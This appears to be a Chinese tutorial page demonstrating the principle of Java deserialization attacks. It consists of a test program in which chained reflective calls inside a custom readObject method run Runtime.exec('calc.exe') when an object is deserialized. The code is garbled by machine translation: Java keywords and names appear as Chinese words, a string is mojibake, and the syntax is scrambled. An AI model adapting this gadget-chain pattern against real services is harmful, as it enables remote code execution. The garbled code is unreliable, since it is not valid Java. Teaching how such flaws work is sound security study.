java反序列化原理演示(二)
0 x00测试代码以及运行结果
<强>测试代码:强>
<代码>包测试; 进口java.io.ByteArrayInputStream; 进口java.io.ByteArrayOutputStream; 进口java.io.IOException; 进口java.io.ObjectInputStream; 进口java.io.ObjectOutputStream; 进口java.io.Serializable; 公共类ReflectionPlay实现Serializable { 公共静态void main (String [] args){抛出异常 新的ReflectionPlay () .run (); } 公共空间运行()抛出异常{ byte [] ObjectBytes=序列化(getObject ()); 反序列化(ObjectBytes); }//在此方法中返回恶意对象 公共对象的getObject () { 字符串命令=癱alc.exe”; 对象firstObject=Runtime.class; ReflectionObject [] reflectionChains={/* *对象运行时=forname (“java.lang.Runtime”) .getMethod (“getRuntime”, 新类[]{}).invoke(空); forname (“java.lang.Runtime”) .getMethod(“执行”,String.class) .invoke(运行时,“calc.exe”); * * *///调用运行时。类的getMethod方法,寻找getRuntime方法,得到一个方法对象(getRuntime方法)//等同于Runtime.class。getMethod (“getRuntime”,新类[]{String.class、类[]. Class}) 新ReflectionObject (“getMethod”,新类[]{字符串。类,类[]。类},新对象[]{“getRuntime”,新类[0]}),//调用方法的调用程序方法可以得到一个运行时对象//等同于method.invoke (null),静态方法不用传入对象 新ReflectionObject(“调用”,新类[]{对象。类、对象[]。类},新对象[]{null,新对象[0]}),//调用运行时对象的执行方法,并将命令作为参数执行命令 新ReflectionObject(“执行”,新类[]{字符串。类},新对象[]{命令}) }; 返回新ReadObject(新ReflectionChains (firstObject ReflectionChains)); }/* *序列化对象到字节数组 * */公共byte[]序列化(最终对象obj)抛出IOException { ByteArrayOutputStream=新ByteArrayOutputStream (); ObjectOutputStream objOut=new ObjectOutputStream(出); objOut.writeObject (obj); 返回out.toByteArray (); }/* *从字节数组中反序列化对象 * */公共对象进行反序列化(最终byte[]序列化)抛出IOException, ClassNotFoundException { ByteArrayInputStream=新ByteArrayInputStream(序列化); ObjectInputStream objIn=new ObjectInputStream(的); 返回objIn.readObject (); }/* *一个模拟拥有漏洞的类,主要提供的功能是根据自己的属性中的值来进行反射调用 * */类ReflectionObject实现Serializable { 私人字符串methodName; 私人类[]paramTypes; 私有对象[]参数; 公共ReflectionObject(字符串methodName、类[]paramTypes Object [] args) { 这一点。methodName=methodName; 这一点。paramTypes=paramTypes; 这一点。args=参数; }//根据methodName, paramTypes来寻找对象的方法,利用参数作为参数进行调用 公共对象变换(对象输入){抛出异常 类inputClass=input.getClass (); inputClass返回。getMethod (methodName paramTypes)。调用(输入,args); } }/* *一个用来模拟提供恶意代码的类, *主要的功能是将ReflectionObject进行串联调用,与ReflectionObject一起构成漏洞代码的一部分 * */类ReflectionChains实现Serializable { 私有对象firstObject; 私人ReflectionObject [] reflectionObjects; 公共ReflectionChains(对象firstObject ReflectionObject [] reflectionObjects) {//ReflectionChains构造方法 这一点。firstObject=firstObject; 这一点。reflectionObjects=reflectionObjects; } 公共对象执行()抛出异常{ 对象concurrentObject=firstObject; (ReflectionObject ReflectionObject: reflectionObjects) { concurrentObject=reflectionObject.transform (concurrentObject); System.out.println (concurrentObject); } 返回concurrentObject; } }/* * *一个等待序列化的类,拥有一个属性和一个重写了的readObject方法 *并且在readObject方法中执行了该属性的一个方法 * */类ReadObject实现Serializable { 私人ReflectionChains ReflectionChains; 公共ReadObject (ReflectionChains ReflectionChains) { 这一点。reflectionChains=reflectionChains; }//当反序列化的时候,这个代码会被调用//该方法被调用的时候其属性都是空 私人空间readObject (io。ObjectInputStream流) 抛出IOException, ClassNotFoundException { 尝试{//用来模拟当readObject的时候,对自身的属性进行了一些额外的操作 reflectionChains=(reflectionChains) stream.readFields () . get (" reflectionChains ", null); reflectionChains.execute (); }捕捉(异常e) { e.printStackTrace (); } } } }java反序列化原理演示(二)